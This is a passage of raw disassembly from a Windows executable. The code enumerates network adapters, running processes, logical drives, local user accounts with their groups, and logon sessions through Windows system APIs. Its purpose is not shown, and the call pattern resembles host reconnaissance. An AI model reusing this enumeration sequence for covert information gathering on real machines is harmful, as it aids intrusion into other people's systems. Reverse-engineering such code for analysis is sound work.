add rdx, rdi
and rdx, r14
neg rdx
imul rbp, rdx, 0x88
mov rcx, qword [r13 + rbp - 0x88]
mov rdx, qword [r13 + rbp - 0x78]
mov r8, rbx
mov r9, r12
call fcn.140006784
test al, al
je 0x14000293d
jmp 0x1400029b2
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x140002a9b
mov rax, qword [rsp + 0x88]
add rdi, rax
add rdi, 0x10
add rax, 0x10
mov qword [rsp + 0x88], rax
and rdi, r14
jmp 0x140002921
add r13, rbp
mov rax, qword [r13 - 0x68]
mov rcx, qword [r13 - 0x58]
mov qword [r13 - 0x60], rax
mov rbp, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0x90]
mov rax, qword [rbp + rdx + 0x500]
mov qword [r13 - 0x68], rax
mov qword [r13 - 0x50], rcx
mov rax, qword [rbp + rdx + 0x4b8]
mov qword [r13 - 0x58], rax
mov rax, qword [r13 - 0x48]
mov qword [r13 - 0x40], rax
mov rax, qword [rbp + rdx + 0x4c0]
add rax, qword [rbp + rdx + 0x4c8]
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov qword [r13 - 0x48], rax
mov rax, qword [r13 - 0x38]
mov qword [r13 - 0x30], rax
mov rax, qword [rbp + rdx + 0x508]
add rax, qword [rbp + rdx + 0x510]
cmovb rax, rcx
mov qword [r13 - 0x38], rax
mov rax, qword [r13 - 0x28]
mov qword [r13 - 0x20], rax
mov rax, qword [rbp + rdx + 0x4d8]
mov qword [r13 - 0x28], rax
mov rax, qword [r13 - 0x18]
mov qword [r13 - 0x10], rax
mov rax, qword [rbp + rdx + 0x520]
mov qword [r13 - 0x18], rax
mov byte [r13 - 2], 1
mov rcx, rbx
mov rdx, qword [rsp + 0xb0]
call fcn.1400054f0
mov r14, qword [rsp + 0x98]
mov r13, qword [rsp + 0x80]
mov rcx, r15
mov rdx, qword [rsp + 0x78]
call fcn.14000b093
jmp 0x1400026db
xor r12d, r12d
jmp 0x140002808
cmp qword [rsp + 0x460], 0
je 0x140002c22
mov rbp, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rbp + rcx + 0x4c0]
add rdx, qword [rbp + rcx + 0x4c8]
mov rax, qword [rbp + rcx + 0x4b8]
mov qword [rsp + 0x88], rax
mov rax, 0xffffffffffffffff
cmovb rdx, rax
mov qword [rsp + 0x198], rdx
mov rdi, qword [rbp + rcx + 0x508]
add rdi, qword [rbp + rcx + 0x510]
cmovb rdi, rax
mov rax, qword [rsp + 0xc0]
mov rax, qword [rax]
mov qword [rsp + 0x190], rax
mov rax, qword [rbp + rcx + 0x500]
mov qword [rsp + 0x188], rax
mov rax, qword [rbp + rcx + 0x4d8]
mov qword [rsp + 0xc0], rax
mov rax, qword [rbp + rcx + 0x520]
mov qword [rsp + 0x90], rax
mov rcx, r13
mov rdx, r14
mov r8, qword [rsp + 0x1b0]
call fcn.140012585
mov rcx, qword [rsp + 0x450]
neg rax
and dl, 1
neg dl
movsx rdx, dl
add qword [rsp + 0x460], rdx
imul rax, rax, 0x88
mov qword [rcx + rax - 0x88], rbx
mov rdx, qword [rsp + 0xb0]
mov qword [rcx + rax - 0x80], rdx
mov qword [rcx + rax - 0x78], r12
mov rdx, qword [rsp + 0x190]
mov qword [rcx + rax - 0x70], rdx
mov rdx, qword [rsp + 0x188]
mov qword [rcx + rax - 0x68], rdx
mov qword [rcx + rax - 0x60], rdx
mov rdx, qword [rsp + 0x88]
mov qword [rcx + rax - 0x58], rdx
mov qword [rcx + rax - 0x50], rdx
mov rdx, qword [rsp + 0x198]
mov qword [rcx + rax - 0x48], rdx
mov qword [rcx + rax - 0x40], rdx
mov qword [rcx + rax - 0x38], rdi
mov qword [rcx + rax - 0x30], rdi
mov rdx, qword [rsp + 0xc0]
mov qword [rcx + rax - 0x28], rdx
mov qword [rcx + rax - 0x20], rdx
mov rdx, qword [rsp + 0x90]
mov qword [rcx + rax - 0x18], rdx
mov qword [rcx + rax - 0x10], rdx
and dword [rcx + rax - 8], 0
and word [rcx + rax - 4], 0
mov byte [rcx + rax - 2], 1
inc qword [rsp + 0x468]
jmp 0x140002a71
lea rcx, [rsp + 0x450]
lea rdx, [rsp + 0x470]
call fcn.1400233fe
mov r13, qword [rsp + 0x450]
mov r14, qword [rsp + 0x458]
jmp 0x140002aaa
mov rdi, r13
sub r14, rdi
shr r14, 5
add rdi, 0x10
lea r15, [rsp + 0x4f0]
sub r14, 1
jb 0x140002c7a
mov rcx, qword [rdi - 8]
mov rdx, qword [rdi]
call fcn.14000b093
add rdi, 0x20
jmp 0x140002c62
mov r8, qword [rsp + 0x1a8]
test r8, r8
je 0x140002c9d
shl r8, 5
mov edx, 8
mov rcx, qword [rsp + 0x1a0]
call fcn.140001210
mov rcx, qword [rsp + 0xd0]
call sub.iphlpapi.dll_FreeMibTable
mov rdx, qword [rsp + 0x208]
test rdx, rdx
je 0x140002da5
mov rcx, qword [rsp + 0x200]
mov rax, qword [rsp + 0x218]
test rax, rax
je 0x140002d9a
add rdx, rcx
inc rdx
movdqa xmm0, xmmword [rcx]
pmovmskb r8d, xmm0
not r8d
lea rdi, [rsp + 0x608]
mov qword [rdi - 0x18], rcx
add rcx, 0x10
mov qword [rdi - 0x10], rcx
mov qword [rdi - 8], rdx
mov word [rdi], r8w
mov qword [rdi + 8], rax
mov ebx, 1
test rbx, rbx
je 0x140002d8a
mov rcx, rdi
call fcn.140010ab3
cmp rax, 1
je 0x140002d52
mov rax, qword [rsp + 0x5f8]
movdqa xmm0, xmmword [rax]
pmovmskb ecx, xmm0
not ecx
mov word [rsp + 0x608], cx
add qword [rsp + 0x5f0], 0xfffffffffffffe00
add rax, 0x10
mov qword [rsp + 0x5f8], rax
jmp 0x140002d10
shl rdx, 5
mov rax, qword [rsp + 0x5f0]
mov rbx, qword [rsp + 0x610]
mov rcx, rax
sub rcx, rdx
dec rbx
mov qword [rsp + 0x610], rbx
mov rcx, qword [rcx - 0x20]
neg rdx
mov rdx, qword [rax + rdx - 0x18]
call fcn.14000b093
jmp 0x140002d0b
mov rcx, qword [rsp + 0x200]
mov rdx, qword [rsp + 0x208]
mov r8d, 0x20
call fcn.14001247e
mov rax, qword [rsp + 0x450]
mov rcx, qword [rsp + 0x458]
add rcx, rax
inc rcx
movdqa xmm0, xmmword [rax]
pmovmskb edx, xmm0
not edx
mov r8, qword [rsp + 0x468]
lea rdi, [rsp + 0x200]
mov qword [rdi], rax
add rax, 0x10
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], rcx
mov word [rdi + 0x18], dx
mov qword [rdi + 0x20], r8
mov r14d, 0x88
mov rcx, rdi
call fcn.140011ca7
test rax, rax
je 0x140002e3a
mov rbx, rax
cmp byte [rax - 2], 0
jne 0x140002df2
mov rax, qword [rsp + 0x450]
sub rax, rbx
cqo
idiv r14
lea rcx, [rsp + 0x450]
mov rdx, rax
call fcn.140012ac8
mov rcx, qword [rbx - 0x88]
mov rdx, qword [rbx - 0x80]
call fcn.1400054f0
jmp 0x140002df2
lea rbx, [rsp + 0x1c0]
mov dword [rbx], 0x3c00
and dword [rsp + 0x110], 0
mov ebp, 3
sub ebp, 1
jb 0x140002f1e
mov ecx, dword [rsp + 0x1c0]
call fcn.140017cb0
test rax, rax
je 0x140002ec3
mov rdi, rax
mov qword [rsp + 0x20], rbx
xor ecx, ecx
mov edx, 0xe
xor r8d, r8d
mov r9, rax
call sub.iphlpapi.dll_GetAdaptersAddresses
mov dword [rsp + 0x110], eax
cmp eax, 0x6f
jne 0x140002e9f
mov rcx, rdi
call fcn.140017cb8
jmp 0x140002e55
test eax, eax
jne 0x140002f16
mov qword [rsp + 0x5f8], rdi
mov qword [rsp + 0x600], rdi
and qword [rsp + 0x5f0], 0
xor ecx, ecx
jmp 0x140002f80
mov ecx, 0x32
call fcn.140005561
mov rcx, rax
movups xmm0, xmmword [str.failed_to_allocate_memory_for_IP_ADAPTER_ADDRESSES]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x140026668]
movups xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [0x140026678]
movdqu xmmword [rax + 0x20], xmm0
mov word [rax + 0x30], 0x5345
mov qword [rsp + 0x5f0], rax
mov qword [rsp + 0x5f8], rdx
mov qword [rsp + 0x600], 0x32
jmp 0x140002f80
mov rcx, rdi
call fcn.140017cb8
lea rax, [rsp + 0x110]
mov qword [rsp + 0x350], rax
lea rax, str.GetAdaptersAddresses___failed_with_code
lea rdx, [rsp + 0x200]
mov qword [rdx], rax
mov eax, 1
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
lea rcx, [0x1400062b1]
mov qword [rsp + 0x358], rcx
lea rcx, [rsp + 0x350]
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], rax
lea rdi, [rsp + 0x5f0]
mov rcx, rdi
call fcn.14001000e
mov rcx, qword [rdi]
test rcx, rcx
je 0x140002f97
mov rdx, qword [rsp + 0x5f8]
call fcn.1400054f0
jmp 0x140003119
movdqu xmm0, xmmword [rsp + 0x5f8]
lea rax, [rsp + 0x350]
movdqu xmmword [rax], xmm0
lea r14, [rsp + 0x110]
pcmpeqd xmm6, xmm6
lea rcx, [rsp + 0x200]
lea rdx, [rsp + 0x350]
call fcn.14001356c
mov r15, qword [rsp + 0x200]
test r15, r15
je 0x140003104
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x468], 0
je 0x1400030f2
mov r13, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x470]
mov rdx, qword [rsp + 0x478]
mov r8, r15
mov r9, r13
call fcn.140011e3e
mov rbx, qword [rsp + 0x450]
mov rbp, qword [rsp + 0x458]
mov rdi, rbp
and rdi, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x80], rax
movdqu xmm8, xmmword [rbx + rdi]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rsp + 0x110], ax
mov rcx, r14
call fcn.140010ab3
test rax, rax
je 0x1400030a9
add rdx, rdi
and rdx, rbp
neg rdx
imul r12, rdx, 0x88
mov r8, qword [rbx + r12 - 0x88]
mov r9, qword [rbx + r12 - 0x78]
mov rcx, r15
mov rdx, r13
call fcn.140006784
test al, al
je 0x14000306e
jmp 0x1400030da
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x1400030f2
mov rax, qword [rsp + 0x80]
add rdi, rax
add rdi, 0x10
add rax, 0x10
mov qword [rsp + 0x80], rax
and rdi, rbp
jmp 0x140003053
add rbx, r12
lea rcx, [rsp + 0x218]
movzx eax, word [rcx + 4]
mov word [rbx - 4], ax
mov eax, dword [rcx]
mov dword [rbx - 8], eax
mov rcx, r15
mov rdx, qword [rsp + 0x78]
call fcn.1400054f0
jmp 0x140002fb8
mov rcx, qword [rsp + 0x350]
call fcn.140017cb8
lea r15, [rsp + 0x4f0]
mov byte [rsp + 0xa2], 1
mov word [rsp + 0xa0], 0x101
call fcn.14000d241
shl rdx, 0x20
mov eax, eax
or rax, rdx
movabs rcx, 0x19db1ded53e8000
cmp rax, rcx
jge 0x14000314c
xor eax, eax
jmp 0x140003163
movabs rcx, 0xfe624e212ac18000
add rax, rcx
mov ecx, 0x989680
xor edx, edx
div rcx
mov qword [rsp + 0xb8], rax
mov edi, 0x80000
lea rbp, [rsp + 0xa4]
mov rbx, qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov rcx, rdi
xor edx, edx
call fcn.140005504
mov r13, rax
mov r14, rdx
and dword [rsp + 0xa4], 0
mov ecx, 5
mov rdx, rax
mov r8d, edi
mov r9, rbp
call rbx
cmp eax, 0xc0000004
jne 0x1400031d3
mov eax, dword [rsp + 0xa4]
test eax, eax
je 0x1400031c3
add eax, 0x2800
mov rdi, rax
jmp 0x1400031c6
add rdi, rdi
mov rcx, r13
mov rdx, r14
call fcn.1400054f0
jmp 0x14000317f
mov ecx, 8
mov edx, 0xfa0
call fcn.140005249
test rax, rax
je 0x140004e65
lea rdi, [rsp + 0x110]
mov qword [rdi], rax
mov qword [rdi + 8], 0x1f4
and qword [rdi + 0x10], 0
xor edx, edx
xor ebx, ebx
cmp rdx, qword [rsp + 0x118]
jne 0x140003229
mov rcx, rdi
call fcn.140012236
mov rax, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x120]
lea rcx, [rbx + r13]
mov qword [rax + rdx*8], rcx
mov rdx, qword [rsp + 0x120]
inc rdx
mov qword [rsp + 0x120], rdx
mov ecx, dword [rcx]
add rbx, rcx
test rcx, rcx
jne 0x140003207
mov qword [rsp + 0x88], r14
lea rdi, [rsp + 0x778]
lea rax, [rsp + 0x420]
mov qword [rdi], rax
mov rcx, r15
xor edx, edx
call fcn.140012c80
mov rax, qword [rsp + 0x570]
lea rcx, [rsp + 0x6a8]
mov qword [rcx], rax
mov r14, qword [rsp + 0x120]
mov qword [rsp + 0x210], r14
movdqu xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x200], xmm0
mov qword [rsp + 0xd0], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0xd8], xmm0
mov qword [rsp + 0x218], rdi
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x220], rax
mov qword [rsp + 0x228], rcx
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x230], rax
mov rbx, qword [rsp + 0x208]
cmp rbx, r14
jb 0x140004cb7
lea rdi, [rsp + 0x218]
mov r12, qword [rdi - 0x18]
mov rcx, r14
call fcn.140011d6e
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], 1
lea rdi, [rsp + 0x350]
mov rcx, rdi
mov rdx, r14
xor r8d, r8d
mov r9, rax
call fcn.14000dcbb
test rbx, rbx
je 0x140003360
shl rbx, 3
mov edx, 8
mov rcx, r12
mov r8, rbx
call fcn.140001210
mov rax, qword [rsp + 0x360]
xor edx, edx
sub rax, 1
jb 0x140003382
mov rdi, qword [rdi]
test rdi, rdi
je 0x140003382
add rdx, qword [rdi + 0x10]
add rdi, 0x18
jmp 0x14000336a
lea rcx, [rsp + 0xd0]
call fcn.140011efc
mov rax, qword [rsp + 0x360]
lea rdi, [rsp + 0x5f0]
mov qword [rdi + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x350]
movdqa xmmword [rdi], xmm0
lea rbx, [rsp + 0x200]
mov rcx, rdi
call fcn.14000dc8d
test rax, rax
je 0x140003463
mov r14, qword [rax]
movdqu xmm0, xmmword [rax + 8]
movdqa xmmword [rsp + 0x1c0], xmm0
mov rcx, rax
call fcn.140008324
test r14, r14
je 0x140003463
mov qword [rsp + 0x200], r14
movdqa xmm0, xmmword [rsp + 0x1c0]
lea rax, [rsp + 0x208]
movdqu xmmword [rax], xmm0
mov r12, qword [rsp + 0x210]
lea rcx, [rsp + 0xd0]
mov rdx, r12
call fcn.140011efc
mov r15, qword [rsp + 0xe0]
imul rcx, r15, 0x150
add rcx, qword [rsp + 0xd0]
imul r8, r12, 0x150
mov rdx, r14
call fcn.140014de0
add r15, r12
mov qword [rsp + 0xe0], r15
and qword [rsp + 0x210], 0
mov rcx, rbx
call fcn.14000d5dc
jmp 0x1400033b8
lea rcx, [rsp + 0x5f0]
call fcn.14000dc5b
mov rbx, qword [rsp + 0xd0]
imul rcx, qword [rsp + 0xe0], 0x150
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x98], rax
lea rax, [rbx + rcx]
mov qword [rsp + 0xa8], rax
lea rdi, [rsp + 0x350]
lea r14, [rsp + 0x200]
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0x80], r13
test rcx, rcx
je 0x140003727
mov r15, qword [rbx]
cmp r15, 2
je 0x140003720
mov qword [rsp + 0x78], rcx
lea rbp, [rbx + 0xc8]
mov r12, qword [rbx + 0xc0]
lea rdx, [rbx + 8]
mov r8d, 0xb8
lea rcx, [rsp + 0x5f0]
call fcn.140014de0
mov r8d, 0x88
mov rcx, rdi
mov rdx, rbp
call fcn.140014de0
mov qword [rsp + 0x1c0], r12
mov rcx, qword [rsp + 0x440]
mov rdx, qword [rsp + 0x448]
mov r8, r12
call fcn.140010a38
mov rbp, rax
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0xd0], rax
cmp qword [rsp + 0x430], 0
je 0x140003706
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x200], rax
lea rax, [rsp + 0x420]
mov qword [rsp + 0x208], rax
mov rcx, qword [rsp + 0x420]
mov rdx, qword [rsp + 0x428]
lea rax, [0x140012a32]
mov qword [rsp + 0x20], rax
mov r8, rbp
mov r9, r14
call fcn.1400128ce
test rax, rax
je 0x14000364d
mov rax, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x420]
movzx r8d, byte [rcx + rdx]
and r8d, 1
sub qword [rsp + 0x430], r8
shr rbp, 0x39
lea r8, [rdx - 0x10]
and r8, qword [rsp + 0x428]
mov byte [rcx + rdx], bpl
mov byte [r8 + rcx + 0x10], bpl
inc qword [rsp + 0x438]
mov r14, qword [rsp + 0x420]
neg rdx
imul r13, rdx, 0x158
lea rbp, [r14 + r13]
add rbp, 0xfffffffffffffeb8
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], r15
mov r8d, 0xb8
mov rcx, rbp
lea rdx, [rsp + 0x5f0]
call fcn.140014de0
mov qword [rbp + 0xb8], r12
lea rcx, [r14 + r13]
add rcx, 0xffffffffffffff78
mov r8d, 0x88
mov rdx, rdi
call fcn.140014de0
lea r14, [rsp + 0x200]
jmp 0x1400036de
mov rax, r14
mov r14, qword [rsp + 0x420]
neg rdx
imul r13, rdx, 0x158
lea rbp, [r14 + r13]
add rbp, 0xfffffffffffffeb0
mov r8d, 0x150
mov rcx, rax
mov rdx, rbp
call fcn.140014de0
mov qword [rbp], r15
lea rbp, [r14 + r13]
add rbp, 0xfffffffffffffeb8
mov r8d, 0xb8
mov rcx, rbp
lea rdx, [rsp + 0x5f0]
call fcn.140014de0
mov qword [rbp + 0xb8], r12
lea rcx, [r14 + r13]
add rcx, 0xffffffffffffff78
mov r8d, 0x88
mov rdx, rdi
call fcn.140014de0
cmp qword [rsp + 0x200], 2
lea r14, [rsp + 0x200]
je 0x1400036de
mov rcx, r14
call fcn.14000d647
add rbx, 0x150
mov rcx, qword [rsp + 0x78]
add rcx, 0xfffffffffffffeb0
lea rbp, [rsp + 0xa4]
mov r13, qword [rsp + 0x80]
jmp 0x1400034c0
lea rcx, [rsp + 0x420]
lea rdx, [rsp + 0x440]
call fcn.1400236f5
jmp 0x140003553
add rbx, 0x150
mov rax, qword [rsp + 0xa8]
sub rax, rbx
mov ecx, 0x150
xor edx, edx
div rcx
mov rcx, rbx
mov rdx, rax
call fcn.14000d61d
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
call fcn.14000d606
mov rax, qword [rsp + 0x420]
mov rcx, qword [rsp + 0x428]
add rcx, rax
inc rcx
movdqa xmm0, xmmword [rax]
pmovmskb edx, xmm0
not edx
mov r8, qword [rsp + 0x438]
lea rbx, [rsp + 0x200]
mov qword [rbx], rax
add rax, 0x10
mov qword [rbx + 8], rax
mov qword [rbx + 0x10], rcx
mov word [rbx + 0x18], dx
mov qword [rbx + 0x20], r8
mov r15d, 0x158
mov rcx, rbx
call fcn.140012504
test rax, rax
je 0x1400037f4
mov r14, rax
cmp byte [rax - 4], 0
mov byte [rax - 4], 0
jne 0x1400037a9
mov rax, qword [rsp + 0x420]
sub rax, r14
cqo
idiv r15
lea rcx, [rsp + 0x420]
mov rdx, rax
call fcn.140012ac8
add r14, 0xfffffffffffffeb0
mov rcx, r14
call fcn.14000d647
jmp 0x1400037a9
mov rcx, r13
mov rdx, qword [rsp + 0x88]
call fcn.1400054f0
call sub.kernel32.dll_GetLogicalDrives
mov dword [rsp + 0x1c0], eax
test eax, eax
je 0x1400039ba
lea r13, [rsp + 0xd8]
mov qword [r13 - 8], 8
pxor xmm0, xmm0
movdqu xmmword [r13], xmm0
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x200], rax
movabs rax, 0x2000000000
mov qword [rsp + 0x208], rax
mov ecx, 0x20
call fcn.140011d6e
and dword [rsp + 0x28], 0
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], 0x20
mov qword [rsp + 0x20], 1
xor ebx, ebx
mov edx, 0x20
mov rcx, rdi
xor r8d, r8d
mov r9, rax
call fcn.140011021
mov rax, qword [rsp + 0x360]
sub rax, 1
jb 0x1400038ae
mov rdi, qword [rdi]
test rdi, rdi
je 0x1400038ae
add rbx, qword [rdi + 0x10]
add rdi, 0x18
jmp 0x140003896
lea rdi, [rsp + 0xd0]
mov rcx, rdi
mov rdx, rbx
call fcn.140011f2a
mov rax, qword [rsp + 0x360]
lea rbx, [rsp + 0x5f0]
mov qword [rbx + 0x10], rax
movups xmm0, xmmword [rsp + 0x350]
movaps xmmword [rbx], xmm0
lea r14, [rsp + 0x200]
mov rcx, rbx
call fcn.14000dc8d
test rax, rax
je 0x140003994
mov r15, qword [rax]
movups xmm0, xmmword [rax + 8]
movaps xmmword [rsp + 0x110], xmm0
mov rcx, rax
call fcn.140008324
test r15, r15
je 0x140003994
mov qword [rsp + 0x200], r15
movdqa xmm0, xmmword [rsp + 0x110]
lea rax, [rsp + 0x208]
movdqu xmmword [rax], xmm0
mov r12, qword [rsp + 0x210]
mov rcx, rdi
mov rdx, r12
call fcn.140011f2a
mov rbp, qword [rsp + 0xe0]
imul rcx, rbp, 0x90
add rcx, qword [rsp + 0xd0]
imul r8, r12, 0x90
mov rdx, r15
call fcn.140014de0
add rbp, r12
mov qword [rsp + 0xe0], rbp
lea rbp, [rsp + 0xa4]
and qword [rsp + 0x210], 0
mov rcx, r14
call fcn.14000d77e
jmp 0x1400038e8
lea rcx, [rsp + 0x5f0]
call fcn.140010fef
mov rdi, qword [rsp + 0xd0]
movdqu xmm0, xmmword [r13]
movdqa xmmword [rsp + 0x200], xmm0
jmp 0x1400039cc
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x200], xmm0
mov edi, 8
lea rcx, [rsp + 0x4c0]
call fcn.14000d77e
mov qword [rsp + 0x4c0], rdi
lea r12, [rsp + 0x230]
movdqa xmm0, xmmword [r12 - 0x30]
movdqu xmmword [rsp + 0x4c8], xmm0
lea rax, [rsp + 0x1c0]
mov qword [rax], 8
pxor xmm6, xmm6
lea rcx, [rsp + 0x1b8]
and dword [rcx], 0
movdqu xmmword [rax + 8], xmm6
lea r14, [rsp + 0x110]
lea r15, [rsp + 0x5f0]
and qword [rsp + 0xb8], 0
and dword [rsp + 0xcc], 0
and dword [rsp + 0x1bc], 0
lea rax, [rsp + 0x1b8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x1bc]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xcc]
mov qword [rsp + 0x28], rax
or dword [rsp + 0x20], 0xffffffff
xor ecx, ecx
xor edx, edx
mov r8d, 2
lea r9, [rsp + 0xb8]
call sub.netapi32.dll_NetUserEnum
test eax, eax
je 0x140003a97
cmp eax, 0xea
jne 0x140003de5
mov dword [rsp + 0x78], eax
mov rdi, qword [rsp + 0xb8]
mov eax, dword [rsp + 0xcc]
lea r13, [rdi + rax*8]
cmp rdi, r13
je 0x140003dc9
mov rbx, rdi
add rdi, 8
cmp qword [rbx], 0
je 0x140003aae
and qword [rsp + 0x778], 0
mov rdx, qword [rbx]
xor ecx, ecx
mov r8d, 0x17
lea r9, [rsp + 0x778]
call sub.netapi32.dll_NetUserGetInfo
test eax, eax
jne 0x140003dae
mov rax, qword [rsp + 0x778]
mov rdx, qword [rax + 0x20]
mov rcx, r14
call fcn.140010318
mov rdx, qword [rsp + 0x110]
test rdx, rdx
je 0x140003dae
lea rcx, [rsp + 0x200]
call fcn.140012b71
cmp qword [rsp + 0x200], 0
je 0x140003b4e
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0xe0], rax
movdqu xmm0, xmmword [rsp + 0x200]
movdqa xmmword [rsp + 0xd0], xmm0
jmp 0x140003b5e
mov rdx, qword [rbx]
lea rcx, [rsp + 0xd0]
call fcn.14000d3c4
mov rdx, qword [rbx]
and qword [rsp + 0x6a8], 0
and dword [rsp + 0xa0], 0
and dword [rsp + 0xa4], 0
mov qword [rsp + 0x38], rbp
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x6a8]
mov qword [rsp + 0x20], rax
or dword [rsp + 0x28], 0xffffffff
lea rcx, [0x140026618]
xor r8d, r8d
mov r9d, 1
call sub.netapi32.dll_NetUserGetLocalGroups
test eax, eax
je 0x140003bd4
lea rax, [rsp + 0x358]
movdqu xmmword [rax], xmm6
mov qword [rsp + 0x350], 8
jmp 0x140003d18
mov r12d, dword [rsp + 0xa0]
test r12, r12
je 0x140003bfc
imul rbx, r12, 0x18
mov ecx, 8
mov rdx, rbx
call fcn.140005249
test rax, rax
jne 0x140003c01
jmp 0x140004e4a
mov eax, 8
mov qword [rsp + 0x350], rax
mov qword [rsp + 0x358], r12
and qword [rsp + 0x360], 0
mov r14, qword [rsp + 0x6a8]
test r14, r14
je 0x140003c5f
mov ebx, dword [rsp + 0xa0]
cmp r12d, ebx
jae 0x140003c9a
lea rcx, [rsp + 0x350]
xor edx, edx
mov r8, rbx
call fcn.1400108ec
mov rcx, rax
call fcn.14000514e
mov rax, qword [rsp + 0x350]
mov rdx, qword [rsp + 0x360]
jmp 0x140003ca9
mov rax, qword [rsp + 0x360]
lea r12, [rsp + 0x230]
mov qword [r12 + 0x10], rax
mov rax, qword [rsp + 0x350]
mov qword [r12], rax
mov rax, qword [rsp + 0x358]
mov qword [r12 + 8], rax
lea r14, [rsp + 0x110]
jmp 0x140003d50
mov edx, 0
mov ecx, 0
test rbx, rbx
je 0x140003d00
mov qword [rsp + 0x80], rdx
imul rbp, rdx, 0x18
add rbp, rax
xor r12d, r12d
mov rdx, qword [r14 + r12*8]
mov rcx, r15
call fcn.14000d3c4
mov rax, qword [rsp + 0x600]
mov qword [rbp + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x5f0]
movdqu xmmword [rbp], xmm0
inc r12
add rbp, 0x18
cmp rbx, r12
jne 0x140003cbb
mov rcx, qword [rsp + 0x80]
add rcx, r12
lea rbp, [rsp + 0xa4]
mov qword [rsp + 0x360], rcx
lea r14, [rsp + 0x110]
lea r12, [rsp + 0x230]
mov rcx, qword [rsp + 0x6a8]
mov rax, qword [rsp + 0x360]
mov qword [r12 + 0x10], rax
mov rax, qword [rsp + 0x350]
mov qword [r12], rax
mov rax, qword [rsp + 0x358]
mov qword [r12 + 8], rax
test rcx, rcx
je 0x140003d50
call sub.netapi32.dll_NetApiBufferFree
movups xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x200], xmm0
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x210], rax
and dword [rsp + 0x248], 0
mov rax, qword [rsp + 0xe0]
lea rcx, [rsp + 0x218]
mov qword [rcx + 0x10], rax
movdqa xmm0, xmmword [rsp + 0xd0]
movdqu xmmword [rcx], xmm0
lea rcx, [rsp + 0x1c0]
lea rdx, [rsp + 0x200]
call fcn.140012c3f
mov rcx, qword [rsp + 0x778]
test rcx, rcx
je 0x140003aae
call sub.netapi32.dll_NetApiBufferFree
jmp 0x140003aae
mov rcx, qword [rsp + 0xb8]
cmp dword [rsp + 0x78], 0xea
jne 0x140003ded
call fcn.140012b5d
jmp 0x140003a2c
mov rcx, qword [rsp + 0xb8]
call fcn.140012b5d
lea rcx, [rsp + 0x778]
and dword [rcx], 0
lea rdi, [rsp + 0x6a8]
and qword [rdi], 0
mov rdx, rdi
call sub.secur32.dll_LsaEnumerateLogonSessions
mov rcx, qword [rdi]
test eax, eax
jne 0x140004036
mov eax, dword [rsp + 0x778]
lea r12, [rcx + rax*8]
lea rdi, [rsp + 0x110]
lea rbx, [rsp + 0x200]
pxor xmm6, xmm6
cmp rcx, r12
je 0x14000402e
lea r14, [rcx + 8]
and qword [rsp + 0x110], 0
mov rdx, rdi
call sub.secur32.dll_LsaGetLogonSessionData
mov rcx, qword [rsp + 0x110]
test eax, eax
je 0x140003e6f
call fcn.140012b67
mov rcx, r14
jmp 0x140003e3b
test rcx, rcx
je 0x140003f22
cmp dword [rcx + 0x40], 3
je 0x140003e65
movzx r13d, word [rcx + 0x10]
mov rax, qword [rcx + 0x18]
mov qword [rsp + 0x80], rax
mov rdx, qword [rcx + 0x48]
mov rcx, rbx
call fcn.140010318
mov rbp, qword [rsp + 0x200]
test rbp, rbp
je 0x140004021
mov qword [rsp + 0x88], r13
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x78], rax
mov r13, qword [rsp + 0x210]
mov rdx, qword [rsp + 0x1c0]
imul rbx, qword [rsp + 0x1d0], 0x50
test rbx, rbx
je 0x140003f29
lea rdi, [rdx + 0x50]
mov rcx, qword [rdx]
mov rdx, qword [rdx + 0x10]
mov r8, rbp
mov r9, r13
call fcn.140006784
add rbx, 0xffffffffffffffb0
mov rdx, rdi
test al, al
je 0x140003eda
mov rcx, rbp
mov rdx, qword [rsp + 0x78]
call fcn.1400054f0
lea rdi, [rsp + 0x110]
lea rbx, [rsp + 0x200]
jmp 0x140004021
xor ecx, ecx
jmp 0x140003e65
lea rcx, [rsp + 0x5f0]
mov rdx, rbp
call fcn.140012b71
mov rax, qword [rsp + 0x5f0]
test rax, rax
lea rdi, [rsp + 0x110]
je 0x140003f6d
lea rcx, [rsp + 0x5f8]
